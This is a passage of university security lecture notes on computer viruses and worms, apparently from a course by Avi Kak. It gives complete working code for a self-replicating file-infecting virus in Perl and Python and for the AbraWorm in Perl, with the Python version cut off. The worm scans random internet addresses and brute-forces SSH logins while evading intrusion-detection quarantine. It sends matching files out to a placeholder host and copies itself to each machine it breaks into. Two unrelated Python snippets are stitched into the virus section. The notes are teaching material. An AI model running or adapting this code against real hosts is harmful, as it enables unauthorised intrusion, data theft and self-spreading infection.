Back to TOC

22.1 VIRUSES

- A computer virus is a malicious piece of executable code that propagates typically by attaching itself to a **host** document that will generally be an executable file. [In the context of talking about viruses, the word "host" means a document or a file. As you'll recall from our earlier discussions, in the context of computer networking protocols, a "host" is typically a digital device capable of communicating with other devices. Even more specifically, in the context of networking protocols, a host is whatever is identified by a network address, like the IP address.]

- Typical hosts for computer viruses are:

  - Boot sectors on disks and other storage media [To understand what a boot sector does, you have to know how a computer starts up. When you turn on a computer, it starts executing the instructions starting at a designated memory address that points to the BIOS ROM in the computer. These instructions tell the system what device to use for booting. Usually, this device is a disk that contains a specially designated region at its beginning that is called the boot sector. The boot sector has the partition table for the disk and also the bootstrap code (also known as the *boot loader*) for pulling in the operating system at system boot time. This picture of a boot sector is related to how it is used when a system first boots up. More generally, though, the first sector in every disk partition serves as a boot sector for that partition; this boot sector is commonly known as the Volume Boot Record (VBR). **Since the boot sector code is executed automatically, it is a common attack vector for viruses.** The code in even the boot sectors that only contain the partition tables must execute automatically in order to enable the runtime memory allocator to figure out how to use those

partitions for information storage. A typical protection against boot sector corruption is to prevent System BIOS from writing to the first sector of a disk and the first sector of a disk partition. Viruses that attach themselves to boot sectors are known as *boot sector viruses*.]

- Executable files for system administration (such as the batch files in Windows machines, shell script files in Unix, etc.) [FooVirus presented in the next section is an example of such a virus. Such viruses are generally known as *file infector viruses*.]

- Documents that are allowed to contain macros (such as PDF files, Microsoft Word documents, Excel spreadsheets, Access database files, etc.) [Macros in documents are executable segments of code and are generally written in a language that is specific to each document type. Macros are used for automating complex or repetitive formatting and inferencing tasks. The macro programming capability can be exploited for creating executable code that acts like a virus. Also note that new documents often get their start from templates. Now imagine a template that has been infected with malicious macros. All documents created from such a template will also be infected. Such viruses are known as *macro viruses*.]

- Any operating system that allows third-party programs to run can support viruses.

- Because of the way permissions work in Unix/Linux systems, it is more difficult for a virus to wreak havoc in such machines. Let's say that a virus embedded itself into one of your script files. The virus code will execute only with the permissions that are assigned to you. For example, if you do not have the

permission to read or modify a certain system file, the virus code will be constrained by the same restriction. [Windows machines also have a multi-level organization of permissions. For example, you can be an administrator with all possible privileges or you can be just a user with more limited privileges. But it is fairly common for the owners of Windows machines to leave them running in the "administrator" mode. That is, most owners of Windows machines will have only one account on their machines and that will be the account with administrator privileges. That is not likely to happen in Unix/Linux machines.]

- At the least, a virus will duplicate itself when it attaches itself to another host document, that is, to another executable file. **But the important thing to note is that this copy does not have to be an exact replica of itself.** In order to make more difficult its detection by pattern matching, a virus may alter itself when it propagates from host to host. In most cases, the changes made to the virus code are simple, such as rearrangement of the order independent instructions, etc. Viruses that are capable of changing themselves are called **mutating viruses**.

- Computer viruses need to know if a potential host is already infected, since otherwise the size of an infected file could grow without bounds through repeated infection. Viruses typically place a signature (such as a string that is an impossible date) at a specific location in the file for this purpose.

- Most commonly, the execution of a particular instance of a virus (in a specific host file) will come to an end when the host file

has finished execution. However, it is possible for a more vicious virus to create a continuously running program in the background.

- To escape detection, the more sophisticated viruses encrypt themselves with keys that change with each infection. What stays constant in such viruses is the decryption routine.

- The **payload** part of a virus is that portion of the code that is not related to propagation or concealment.

Back to TOC

22.2 THE ANATOMY OF A VIRUS WITH WORKING EXAMPLES IN PERL AND PYTHON — THE FooVirus

- As should be clear by now, a virus is basically a self-replicating piece of code that needs a host document to glom on to.

- As demonstrated by the simple Perl and Python scripts I will show in this section, writing such programs is easy. The only competence you need is regarding file I/O at a fairly basic level.

- The Perl and Python virus implementations shown in this section use as host documents those files whose names end in the '.foo' suffix. It inserts itself into all such files.

- If you send an infected file to someone else and they happen to execute the file, it will infect their '.foo' files also.

- Note that the virus does **not** re-infect an already infected file. This behavior is exhibited by practically all viruses. This it does by skipping '.foo' files that contain the 'foovirus' signature string.

- It should not be too hard to see how the harmless virus shown here could be turned into a dangerous piece of code.

- As for the name of the virus, since it affects only the files whose names end in the suffix '.foo', it seems appropriate to name it "FooVirus" and to call the Perl script file "FooVirus.pl" and the Python script file "FooVirus.py".

- In the rest of this section, I'll first present the Perl script `FooVirus.pl` and then the Python script `FooVirus.py`.

```
#!/usr/bin/perl

###  FooVirus.pl
###  Author: Avi kak (kak@purdue.edu)
###  Date:   April 19, 2006

print "\nHELLO FROM FooVirus\n\n";

print "This is a demonstration of how easy it is to write\n";
print "a self-replicating program. This virus will infect\n";
print "all files with names ending in .foo in the directory in\n";
print "which you execute an infected file.  If you send an\n";
print "infected file to someone else and they execute it, their,\n";
print ".foo files will be damaged also.\n\n";

print "Note that this is a safe virus (for educational purposes\n";
print "only) since it does not carry a harmful payload.  All it\n";
print "does is to print out this message and comment out the\n";
print "code in .foo files.\n\n";

open IN, "< $0";
my $virus;
for (my $i=0;$i<37;$i++) {
    $virus .= <IN>;
}
foreach my $file ( glob "*.foo" ) {
    open IN, "< $file";
    my @all_of_it = <IN>;
    close IN;
```

```
    next if (join ' ', @all_of_it) =~ /foovirus/m;
    chmod 0777, $file;
    open OUT, "> $file";
    print OUT "$virus";
    map s/^$_/#$_/, @all_of_it;
    print OUT @all_of_it;
    close OUT;
}
```

- Regarding the logic of the code in the virus, the following section of the code

```
open IN, "< $0";
my $virus;
for (my $i=0;$i<37;$i++) {
    $virus .= <IN>;
}
```

reads the first 37 lines of the file that is being executed. This could be the original `FooVirus.pl` file or one of the files infected by it. Note that `FooVirus.pl` contains exactly 37 lines of text and code. And when the virus infects another '.foo' file, it places itself at the head of the infected file and then comments out the rest of the target file. So the first 37 lines of any infected file will be exactly like what you see in `FooVirus.pl`. [If you are not familiar with Perl, `$0` is one of Perl's predefined variables. It contains the name of the file being executed. The syntax '`open IN, "< $0"`' means that you want to open the file, whose name is stored in the variable `$0`, for reading. The extra symbol '`<`' just makes explicit that the file is being opened for reading. This symbol is not essential since, by default, a file is opened in the read mode anyway.]

- The information read by the `for` loop in the previous bullet is saved in the variable `$virus`.

- Let's now look at the `foreach` loop in the virus. It opens each file for reading whose name carries the suffix '.foo'. The '`open IN, "< $file"`' statement opens the '.foo' file in just the reading mode. The statement '`my @all_of_it = <IN>`' reads all of the file into the string variable `@all_of_it`.

- We next check if there is a string match between the file contents stored in `@all_of_it` and the string 'foovirus'. If there is, we do not do anything further with this file since we do not want to reinfect a file that was infected previously by our virus

- Assuming that we are working with a '.foo' file that was not previously infected, we now do '`chmod 0777, $file`' to make the '.foo' file executable since it is the execution of the file that will spread the infection.

- The next statement

```
open OUT, "> $file";
```

  opens the same '.foo' file in the write-only mode. The first thing we write out to this file is the virus itself by using the command '`print OUT "$virus"`'.

- Next, we want to put back in the file what it contained originally but after placing the Perl comment character '#' at the beginning of each line. This is to prevent the file from causing problems with its execution in case the file has other

executable code in it. Inserting the '#' character at the beginning of each file is accomplished by

```
map s/^$_/#$_/, @all_of_it;
```

and the write-out of this modified content back to the '.foo' file is accomplished by '`print OUT @all_of_it`'. [Again, if you are not so familiar with Perl, `$_` is Perl's default variable that, in the current context, would be bound to each line of the input file as `map` scans the contents of the array `@all_of_it` and applies the first argument string substitution rule to it.]

- Shown next is the Python version of the virus code:

```
#!/usr/bin/env python
import sys
import os
import glob

##   FooVirus.py
##   Author: Avi kak (kak@purdue.edu)
##   Date:   April 5, 2016; Updated April 6, 2022

print("""\nHELLO FROM FooVirus\n\n
This is a demonstration of how easy it is to write
a self-replicating program. This virus will infect
all files with names ending in .foo in the directory in
which you execute an infected file.  If you send an
infected file to someone else and they execute it, their,
foo files will be damaged also.

Note that this is a safe virus (for educational purposes
only) since it does not carry a harmful payload.  All it
does is to print out this message and comment out the
code in .foo files.\n\n""")

IN = open(sys.argv[0], 'r')
virus = [line for (i,line) in enumerate(IN) if i < 37]

for item in glob.glob("*.foo"):
    IN = open(item, 'r')
    all_of_it = IN.readlines()
    IN.close()
    if any('foovirus' in line for line in all_of_it): continue
    os.chmod(item, 0o777)
```

```
    OUT = open(item, 'w')
    OUT.writelines(virus)
    all_of_it = ['#' + line for line in all_of_it]
    OUT.writelines(all_of_it)
    OUT.close()
```

```
# Step 1: Read the original script using readlines()
with open('original_script.py', 'r') as file:
    lines = file.readlines()

# Step 2: Add the new lines to the list
new_lines = [
    "if True:\n",
    "    pass\n"
]

lines.extend(new_lines)

# Step 3: Write the updated content (including new lines) back to the same file
with open('original_script.py', 'w') as file:
    file.writelines(lines)
```

- The logic of the Python script shown above parallels exactly what you saw in the Perl version of the virus code. As every Python programmer knows, we can get hold of the script file that is being executed through `sys.argv[0]`. We read the first 37 lines from this file into the variable `virus`. Subsequently, we call on `glob.glob()` to get access to all the files in the current directory whose names carry the suffix `.foo`. We open each such file, read all of its contents into the variable `all_of_it` and close the file object. Then we check if any of the lines stored in `all_of_it` contains the special string '`foovirus`'. If the answer is yes, we do not want to re-infect the file and we take up the next "`.foo`" file in the directory. On the other hand, if the answer is no, we have found a new file to infect with the virus and we open in in the write mode. We write back all of the original code into the file — but after we have commented out each line with the "#" character. Subsequently, we deposit in the file a copy of the virus.

```
all_files = glob.glob('/path/to/directory/**/*.txt',
recursive=True)
print(all_files)
```

- To play with this virus, create a separate directory with any name of your choosing. Now copy either `FooVirus.pl` or `FooVirus.py` into that directory and make sure you make the file executable. At the same time, create a couple of additional files with names like `a.foo`, `b.foo`, etc. and put any random

keystrokes in those files. Also create another directory elsewhere in your computer and similarly create files with names like `c.foo` and `d.foo` in that directory. Now you are all set to demonstrate the beastly ways of the innocent looking `FooVirus`. Execute the Perl or the Python version of the virus file in the first directory and examine the contents of `a.foo` and `b.foo`. You should find them infected by the virus. Then move the infected `a.foo`, or any of the other '.foo' files, from the first directory to the second directory. Execute the file you just moved to the second directory and examine the contents of `c.foo` or `d.foo`. If you are not properly horrified by the damage done to those files, then something is seriously wrong with you. In that case, stop worrying about your computer and seek immediate help for yourself!

Back to TOC

22.3 WORMS

- **The main difference between a virus and a worm is that a worm does not need a host document. In other words, a worm does not need to attach itself to another program. In that sense, a worm is self-contained.**

- On its own, a worm is able to send copies of itself to other machines over a network.

- Therefore, whereas a worm can harm a network and consume network bandwidth, the damage caused by a virus is mostly local to a machine.

- **But note that a lot of people use the terms 'virus' and 'worm' synonymously.** That is particularly the case with the vendors of anti-virus software. A commercial anti-virus program is supposed to catch both viruses and worms.

- Since, by definition, a worm is supposed to hop from machine to machine on its own, it needs to come equipped with considerable networking support.

- With regard to autonomous network hopping, the important question to raise is: **What does it mean for a program to hop from machine to machine?**

- A program may hop from one machine to another by a variety of means that include:

  – By using the remote shell facilities, as provided by, say, **ssh**, **rsh**, **rexec**, etc., in Unix, to execute a command on the remote machine. If the target machine can be compromised in this manner, the intruder could install a small bootstrap program on the target machine that could bring in the rest of the malicious software.

  – By cracking the passwords and logging in as a regular user on a remote machine. Password crackers can take advantage of the people's tendency to keep their passwords as simple as possible (under the prevailing policies concerning the length and complexity of the words). [See the Dictionary Attack in Lecture 24.]

  – By using buffer overflow vulnerabilities in networking software. [See Lecture 21 on Buffer Overflow Attacks] In networking with sockets, a client socket initiates a communication link with a server by sending a request to a server socket that is constantly listening for such requests. If the server socket code is vulnerable to buffer overflow or other stack

corruption possibilities, an attacker could manipulate that into the execution of certain system functions on the server machine that would allow the attacker's code to be downloaded into the server machine.

- In all cases, the extent of harm that a worm can carry out would depend on the privileges accorded to the guise under which the worm programs are executing. So if a worm manages to guess someone's password on a remote machine (and that someone does not have elevated privileges), the extent of any harm done might be minimal.

- Nevertheless, even when no local "harm" is done, a propagating worm can bog down a network and, if the propagation is fast enough, can cause a shutdown of the machines on the network. This can happen particularly when the worm is **not** smart enough to keep a machine from getting reinfected repeatedly and simultaneously. Machines can only support a certain maximum number of processes running simultaneously.

- Thus, even "harmless" worms can cause a lot of harm by bringing a network down to its knees.

Back to TOC

22.4 WORKING EXAMPLES OF A WORM IN PERL AND PYTHON — THE AbraWorm

- The goal of this section is to present a safe working example of a worm, `AbraWorm`, that attempts to break into hosts that are randomly selected in the internet. The worm attempts SSH logins using randomly constructed but plausible looking usernames and passwords.

- Since the rather commonly used intrusion prevention tools like Fail2ban and DenyHosts (described in Lecture 24) can easily quarantine IP addresses that make repeated attempts at SSH login with different usernames and passwords, **the worm presented in this section reverses the order in which the target IP addresses, the usernames, and the passwords are attempted**. Instead of attempting to break into the same target IP address by quickly sequencing through a given list of usernames and passwords, the worm first constructs a list of usernames and passwords and then, for each combination of a username and a password, attempts to break into the hosts in a list of IP addresses. With this approach, it is rather easy to set up a scan sequence so that the same IP address would be visited at intervals that are sufficiently long so as not to trigger the

quarantine action by any intrusion detection software monitoring incoming connection requests.

- The worm works in an infinite loop, for ever trying new IP addresses, new usernames, and new passwords.

- **The point of running the worm in an infinite loop is to illustrate the sort of network scanning logic that is often used by the bad guys.** Let's say that a bunch of bad guys want to install their spam-spewing software in as many hosts around the world as possible. Chances are that these guys are not too concerned about where exactly these hosts are, as long as they do the job. The bad guys would create a worm like the one shown in this section, a worm that randomly scans different IP address blocks until it finds vulnerable hosts.

- After the worm has successfully gained SSH access to a machine, it looks for files that contain the string "abracadabra". The worm first exfiltrates out those files to where it resides in the internet and, subsequently, uploads the files to a specially designated host in the internet whose address is shown as `yyy.yyy.yyy.yyy` in the code. [**A reader might ask: Wouldn't using an actual IP address for `yyy.yyy.yyy.yyy` give a clue to the identity of the human handlers of the worm? Not really. In general, the IP address that the worm uses for `yyy.yyy.yyy.yyy` can be for any host in the internet that the worm successfully infiltrated into previously — provided it is able to convey the login information regarding that host to its human handlers. The worm could use a secret IRC channel to convey to its human handlers the username and the password that**

it used to break into the hosts selected for uploading the files exfiltrated from the victim machines. (See Lecture 29 for how IRC is put to use for such deeds.) You would obviously need more code in the worm for this feature to work.]

- **Since the worm installs itself in each infected host, the bad guys will have an ever increasing army of infected hosts at their disposal because each infected host will also scan the internet for additional vulnerable hosts.**

- In the rest of this section, I'll first explain the code in the Perl implementation of the worm. Subsequently, I'll present the Python implementation of the same worm.

- For the Perl version of the worm, as shown in the file `AbraWorm.pl` that follows, you'd need to install the Perl module `Net::OpenSSH` in your computer. On a Ubuntu machine, you can do this simply by installing the package `libnet-oepnsssh-perl` through your Synaptic Package Manager.

- To understand the Perl code file shown next, it's best to start by focusing on the role played by each of the following global variables that are declared at the beginning of the script:

```
@digrams
@trigrams
$opt
$debug
$NHOSTS
```

```
$NUSERNAMES
$NPASSWDS
```

- The array variables `@digrams` and `@trigrams` store, respectively, a collection of two-letter and three-letter "syllables" that can be joined together in random ways for constructing **plausible looking usernames and passwords**. Since a common requirement these days is for passwords to contain a combination of letters and digits, when we randomly join together the syllables for constructing passwords, **we throw in randomly selected digits between the syllables**. This username and password synthesis is carried out by the functions

  ```
  get_new_usernames()

  get_new_passwds()
  ```

  that are defined toward the end of the worm code.

- The global variable `$opt` is for defining the negotiation parameters needed for setting up the SSH connection with a remote host. We obviously would not want the downloaded public key for the remote host to be stored locally (in order to not arouse the suspicions of the human owner of the infected host). We therefore set the `UserKNownHostsFile` parameter to `/dev/null`, as you can see in the definition of `$opt`. The same applies to the other parameters in the definition of this variable.

- If you are interested in playing with the worm code, the global variable `$debug` is important for you. You should execute the worm code in the debug mode by changing the value of `$debug` from 0 to 1. **But note that, in the debug mode, you need to supply the worm with at least two IP addresses where you have SSH access.** You need at least one IP address for a host that contains one or more text files with the string "abracadabra" in them. The IP addresses of such hosts go where you see `xxx.xxx.xxx.xxx` in the code below. In addition, you need to supply another IP address for a host that will serve as the exfiltration destination for the "stolen" files. This IP address goes where you see `yyy.yyy.yyy.yyy` in the code. For both `xxx.xxx.xxx.xxx` and `yyy.yyy.yyy.yyy`, **you would also need to supply the login credentials that work at those addresses**.

- That takes us to the final three global variables:

```
$NHOSTS
$NUSERNAMES
$NPASSWDS
```

  The value given to `$NHOSTS` determines how many new IP addresses will be produced randomly by the function

```
get_fresh_ipaddresses()
```

  in each call to the function. The value given to `$USERNAMES` determines how many new usernames will be synthesized by the function `get_new_usernames()` in each call. And, along the same lines, the value of `$NPASSWDS` determines how many

passwords will be generated by the function `get_new_passwds()` in each call to the function. **As you see near the beginning of the code, I have set the values for all three variables to 3 for demonstration purposes.**

- As for the name of the worm, since it only steals the text files that contain the string "abracadabra", it seems appropriate to call the worm "AbraWorm" and the script file "AbraWorm.pl".

- You can download the code shown below from the website for the lecture notes.

```
#!/usr/bin/perl -w

### AbraWorm.pl

### Author: Avi kak (kak@purdue.edu)
### Date:   March 30, 2014

##  This is a harmless worm meant for educational purposes only.  It can
##  only attack machines that run SSH servers and those too only under
##  very special conditions that are described below. Its primary features
##  are:
##
##  -- It tries to break in with SSH login into a randomly selected set of
##     hosts with a randomly selected set of usernames and with a randomly
##     chosen set of passwords.
##
##  -- If it can break into a host, it looks for the files that contain the
##     string 'abracadabra'.  It downloads such files into the host where
##     the worm resides.
##
##  -- It uploads the files thus exfiltrated from an infected machine to a
##     designated host in the internet. You'd need to supply the IP address
```

```
##     and login credentials at the location marked yyy.yyy.yyy.yyy in the
##     code for this feature to work.  The exfiltrated files would be
##     uploaded to the host at yyy.yyy.yyy.yyy. If you don't supply this
##     information, the worm will still work, but now the files exfiltrated
##     from the infected machines will stay at the host where the worm
##     resides.  For an actual worm, the host selected for yyy.yyy.yyy.yyy
##     would be a previosly infected host.
##
##  -- It installs a copy of itself on the remote host that it successfully
##     breaks into.  If a user on that machine executes the file thus
##     installed (say by clicking on it), the worm activates itself on
##     that host.
##
##  -- Once the worm is launched in an infected host, it runs in an
##     infinite loop, looking for vulnerable hosts in the internet.  By
##     vulnerable I mean the hosts for which it can successfully guess at
##     least one username and the corresponding password.
##
##  -- IMPORTANT: After the worm has landed in a remote host, the worm can
##     be activated on that machine only if Perl is installed on that
##     machine.  Another condition that must hold at the remote machine is
##     that it must have the Perl module Net::OpenSSH installed.
##
##  -- The username and password construction strategies used in the worm
##     are highly unlikely to result in actual usernames and actual
##     passwords anywhere.  (However, for demonstrating the worm code in
##     an educational program, this part of the code can be replaced with
##     a more potent algorithm.)
##
##  -- Given all of the conditions I have listed above for this worm to
##     propagate into the internet, we can be quite certain that it is not
##     going to cause any harm.  Nonetheless, the worm should prove useful
##     as an educational exercise.
##
##
##  If you want to play with the worm, run it first in the 'debug' mode.
##  For the debug mode of execution, you would need to supply the following
##  information to the worm:
##
##  1)   Change to 1 the value of the variable $debug.
##
##  2)   Provide an IP address and the login credentials for a host that you
##       have access to and that contains one or more documents that
##       include the string "abracadabra".  This information needs to go
```

```
##       where you see xxx.xxx.xxx.xxx in the code.
##
##  3)   Provide an IP address and the login credentials for a host that
##       will serve as the destination for the files exfiltrated from the
##       successfully infected hosts. The IP address and the login
##       credentials go where you find the string yyy.yyy.yyy.yyy in the
##       code.
##
##  After you have executed the worm code, you will notice that a copy of
##  the worm has landed at the host at the IP address you used for
##  xxx.xxx.xxx.xxx and you'll see a new directory at the host you used for
##  yyy.yyy.yyy.yyy.  This directory will contain those files from the
##  xxx.xxx.xxx.xxx host that contained the string 'abracadabra'.

use strict;
use Net::OpenSSH;

##  You would want to uncomment the following two lines for the worm to
##  work silently:
#open STDOUT, '>/dev/null';
#open STDERR, '>/dev/null';
$Net::OpenSSH::debug = 0;

use vars qw/@digrams @trigrams $opt $debug $NHOSTS $NUSERNAMES $NPASSWDS/;

$debug = 0;    # IMPORTANT:  Before changing this setting, read the last
               #             paragraph of the main comment block above. As
               #             mentioned there, you need to provide two IP
               #             addresses in order to run this code in debug
               #             mode.

##  The following numbers do NOT mean that the worm will attack only 3
##  hosts for 3 different usernames and 3 different passwords.  Since the
##  worm operates in an infinite loop, at each iteration, it generates a
##  fresh batch of hosts, usernames, and passwords.
$NHOSTS = $NUSERNAMES = $NPASSWDS = 3;

##  The trigrams and digrams are used for syntheizing plausible looking
##  usernames and passwords.  See the subroutines at the end of this script
##  for how usernames and passwords are generated by the worm.
@trigrams = qw/bad bag bal bak bam ban bap bar bas bat bed beg ben bet beu bum
                bus but buz cam cat ced cel cin cid cip cir con cod cos cop
                cub cut cud cun dak dan doc dog dom dop dor dot dov dow fab
                faq fat for fuk gab jab jad jam jap jad jas jew koo kee kil
```

```
                  kim kin kip kir kis kit kix laf lad laf lag led leg lem len
                  let nab nac nad nag nal nam nan nap nar nas nat oda ode odi
                  odo ogo oho ojo oko omo out paa pab pac pad paf pag paj pak
                  pal pam pap par pas pat pek pem pet qik rab rob rik rom sab
                  sad sag sak sam sap sas sat sit sid sic six tab tad tom tod
                  wad was wot xin zap zuk/;
@digrams = qw/al an ar as at ba bo cu da de do ed ea en er es et go gu ha hi
              ho hu in is it le of on ou or ra re ti to te sa se si ve ur/;

$opt = [-o => "UserKNownHostsFile /dev/null",
        -o => "HostbasedAuthentication no",
        -o => "HashKnownHosts no",
        -o => "ChallengeResponseAuthentication no",
        -o => "VerifyHostKeyDNS no",
        -o => "StrictHostKeyChecking no"
       ];
#push @$opt, '-vvv';

# For the same IP address, we do not want to loop through multiple user
# names and passwords consecutively since we do not want to be quarantined
# by a tool like DenyHosts at the other end.  So let's reverse the order
# of looping.
for (;;) {
    my @usernames = @{get_new_usernames($NUSERNAMES)};
    my @passwds = @{get_new_passwds($NPASSWDS)};
    # print "usernames: @usernames\n";
    # print "passwords: @passwds\n";
    # First loop over passwords
    foreach my $passwd (@passwds) {
        # Then loop over user names
        foreach my $user (@usernames) {
            # And, finally, loop over randomly chosen IP addresses
            foreach my $ip_address (@{get_fresh_ipaddresses($NHOSTS)}) {
                print "\nTrying password $passwd for user $user at IP " .
                      "address: $ip_address\n";
                my $ssh = Net::OpenSSH->new($ip_address,
                                            user => $user,
                                            passwd => $passwd,
                                            master_opts => $opt,
                                            timeout => 5,
                                            ctl_dir => '/tmp/');
                next if $ssh->error;
                # Let's make sure that the target host was not previously
                # infected:
```

```
my $cmd = 'ls';
my (@out, $err) = $ssh->capture({ timeout => 10 }, $cmd );
print $ssh->error if $ssh->error;
if ((join ' ', @out) =~ /AbraWorm\.pl/m) {
    print "\nThe target machine is already infected\n";
    next;
}
# Now look for files at the target host that contain
# 'abracadabra':
$cmd = 'grep abracadabra *';
(@out, $err) = $ssh->capture({ timeout => 10 }, $cmd );
print $ssh->error if $ssh->error;
my @files_of_interest_at_target;
foreach my $item (@out) {
    $item =~ /^(.+):.+$/;
    push @files_of_interest_at_target, $1;
}
if (@files_of_interest_at_target) {
    foreach my $target_file (@files_of_interest_at_target){
        $ssh->scp_get($target_file);
    }
}
# Now upload the exfiltrated files to a specially designated host,
# which can be a previously infected host.  The worm will only
# use those previously infected hosts as destinations for
# exfiltrated files if it was able to send the login credentials
# used on those hosts to its human masters through, say, a
# secret IRC channel. (See Lecture 29 on IRC)
eval {
    if (@files_of_interest_at_target) {
        my $ssh2 = Net::OpenSSH->new(
                            'yyy.yyy.yyy.yyy',
                            user => 'yyyyy',
                            passwd =>'yyyyyyyy' ,
                            master_opts => $opt,
                            timeout => 5,
                            ctl_dir => '/tmp/');
                                # The three 'yyyy' marked lines
                                # above are for the host where
                                # the worm can upload the files
                                # it downloaded from the
                                # attached machines.
        my $dir = join '_', split /\./, $ip_address;
        my $cmd2 = "mkdir $dir";
```

```
                        my (@out2, $err2) =
                                    $ssh2->capture({ timeout => 15 }, $cmd2);
                        print $ssh2->error if $ssh2->error;
                        map {$ssh2->scp_put($_, $dir)}
                                    @files_of_interest_at_target;
                        if ($ssh2->error) {
                            print "No uploading of exfiltrated files\n";
                        }
                    }
                };
                # Finally, deposit a copy of AbraWorm.pl at the target host:
                $ssh->scp_put($0);
                next if $ssh->error;
            }
        }
    }
    last if $debug;
}

sub get_new_usernames {
    return ['xxxxxx'] if $debug;  # need a working username for debugging
    my $howmany = shift || 0;
    return 0 unless $howmany;
    my $selector = unpack("b3", pack("I", rand(int(8))));
    my @selector = split //, $selector;
    my @usernames = map {join '', map { $selector[$_]
                              ? $trigrams[int(rand(@trigrams))]
                              : $digrams[int(rand(@digrams))]
                                    } 0..2
                        } 1..$howmany;
    return \@usernames;
}

sub get_new_passwds {
    return ['xxxxxxx'] if $debug;  # need a working password for debugging
    my $howmany = shift || 0;
    return 0 unless $howmany;
    my $selector = unpack("b3", pack("I", rand(int(8))));
    my @selector = split //, $selector;
    my @passwds = map {join '', map { $selector[$_]
     ? $trigrams[int(rand(@trigrams))] . (rand(1) > 0.5 ? int(rand(9)) : '')
     : $digrams[int(rand(@digrams))]   . (rand(1) > 0.5 ? int(rand(9)) : '')
                                    } 0..2
    }               1..$howmany;
```

```
    return \@passwds;
}

sub get_fresh_ipaddresses {
    return ['xxx.xxx.xxx.xxx'] if $debug;
                    # Provide one or more IP address that you
                    # want 'attacked' for debugging purposes.
                    # The usrname and password you provided
                    # in the previous two functions must
                    # work on these hosts.
    my $howmany = shift || 0;
    return 0 unless $howmany;
    my @ipaddresses;
    foreach my $i (0..$howmany-1) {
        my ($first,$second,$third,$fourth) =
                                map {1 + int(rand($_))} (223,223,223,223);
        push @ipaddresses, "$first\.$second\.$third\.$fourth";
    }
    return \@ipaddresses;
}
```

- I'll next present the Python version of the same worm. For the Python code that follows, you'd need to first install the following packages in your machine:

  `python3-paramiko`
  `python3-scp`

  for the Python modules `paramiko` and `scp`. Paramiko is a pure Python implementation of OpenSSH — except for its use of C based libraries for encryption/decryption services. Note that Paramiko provides both client and server functionality. And `scp` is an accompanying module that calls on Paramiko for secure file transfer.

- As for any significant differences with the Perl version of the code shown previously, you will notice the presence of a

keyboard-interrupt signal-handler in the Python version of the code. This was made necessary by the fact that, for the Python version, I have chosen to NOT catch type-specific exceptions in the `except` portions of `try-except` constructs. So a keyboard interrupt with, say, Contl-C entry would be trapped by the same `except` blocks and the flow of execution would simply move to the next iteration of the infinite `while` loop.

- Another difference with the Perl version is the location in the code where the worm deposits a copy of itself in the attacked host. The reason for that is trivial — as you will yourself conclude with a bit of reflection.

- So here we go with the Python version of the worm:

```
#!/usr/bin/env python

### AbraWorm.py

### Author: Avi kak (kak@purdue.edu)
### Date:   April 8, 2016; Updated April 6, 2022

##  This is a harmless worm meant for educational purposes only.  It can
##  only attack machines that run SSH servers and those too only under
##  very special conditions that are described below. Its primary features
##  are:
##
##  -- It tries to break in with SSH login into a randomly selected set of
##     hosts with a randomly selected set of usernames and with a randomly
##     chosen set of passwords.
##
##  -- If it can break into a host, it looks for the files that contain the
##     string 'abracadabra'.  It downloads such files into the host where
##     the worm resides.
##
##  -- It uploads the files thus exfiltrated from an infected machine to a
##     designated host in the internet. You'd need to supply the IP address
```

```
##     and login credentials at the location marked yyy.yyy.yyy.yyy in the
##     code for this feature to work.  The exfiltrated files would be
##     uploaded to the host at yyy.yyy.yyy.yyy. If you don't supply this
##     information, the worm will still work, but now the files exfiltrated
##     from the infected machines will stay at the host where the worm
##     resides.  For an actual worm, the host selected for yyy.yyy.yyy.yyy
##     would be a previosly infected host.
##
##  -- It installs a copy of itself on the remote host that it successfully
##     breaks into.  If a user on that machine executes the file thus
##     installed (say by clicking on it), the worm activates itself on
##     that host.
##
##  -- Once the worm is launched in an infected host, it runs in an
##     infinite loop, looking for vulnerable hosts in the internet.  By
##     vulnerable I mean the hosts for which it can successfully guess at
##     least one username and the corresponding password.
##
##  -- IMPORTANT: After the worm has landed in a remote host, the worm can
##     be activated on that machine only if Python is installed on that
##     machine.  Another condition that must hold at the remote machine is
##     that it must have the Python modules paramiko and scp installed.
##
##  -- The username and password construction strategies used in the worm
##     are highly unlikely to result in actual usernames and actual
##     passwords anywhere.  (However, for demonstrating the worm code in
##     an educational program, this part of the code can be replaced with
##     a more potent algorithm.)
##
##  -- Given all of the conditions I have listed above for this worm to
##     propagate into the internet, we can be quite certain that it is not
##     going to cause any harm.  Nonetheless, the worm should prove useful
##     as an educational exercise.
##
##
##  If you want to play with the worm, run it first in the 'debug' mode.
##  For the debug mode of execution, you would need to supply the following
##  information to the worm:
##
##  1)   Change to 1 the value of the variable $debug.
##
##  2)   Provide an IP address and the login credentials for a host that you
##       have access to and that contains one or more documents that
##       include the string "abracadabra".  This information needs to go
##       where you see xxx.xxx.xxx.xxx in the code.
##
##  3)   Provide an IP address and the login credentials for a host that
##       will serve as the destination for the files exfiltrated from the
##       successfully infected hosts. The IP address and the login
##       credentials go where you find the string yyy.yyy.yyy.yyy in the
##       code.
##
##  After you have executed the worm code, you will notice that a copy of
##  the worm has landed at the host at the IP address you used for
##  xxx.xxx.xxx.xxx and you'll see a new directory at the host you used for
```

```
##  yyy.yyy.yyy.yyy.  This directory will contain those files from the
##  xxx.xxx.xxx.xxx host that contained the string 'abracadabra'.

import sys
import os
import random
import paramiko
import scp
import select
import signal

##   You would want to uncomment the following two lines for the worm to
##   work silently:
#sys.stdout = open(os.devnull, 'w')
#sys.stderr = open(os.devnull, 'w')

def sig_handler(signum,frame): os.kill(os.getpid(),signal.SIGKILL)
signal.signal(signal.SIGINT, sig_handler)

debug = 0      # IMPORTANT:  Before changing this setting, read the last
               #             paragraph of the main comment block above. As
               #             mentioned there, you need to provide two IP
               #             addresses in order to run this code in debug
               #             mode.

##  The following numbers do NOT mean that the worm will attack only 3
##  hosts for 3 different usernames and 3 different passwords.  Since the
##  worm operates in an infinite loop, at each iteration, it generates a
##  fresh batch of hosts, usernames, and passwords.
NHOSTS = NUSERNAMES = NPASSWDS = 3


##  The trigrams and digrams are used for syntheizing plausible looking
##  usernames and passwords.  See the subroutines at the end of this script
##  for how usernames and passwords are generated by the worm.
trigrams = '''bad bag bal bak bam ban bap bar bas bat bed beg ben bet beu bum
                bus but buz cam cat ced cel cin cid cip cir con cod cos cop
                cub cut cud cun dak dan doc dog dom dop dor dot dov dow fab
                faq fat for fuk gab jab jad jam jap jad jas jew koo kee kil
                kim kin kip kir kis kit kix laf lad laf lag led leg lem len
                let nab nac nad nag nal nam nan nap nar nas nat oda ode odi
                odo ogo oho ojo oko omo out paa pab pac pad paf pag paj pak
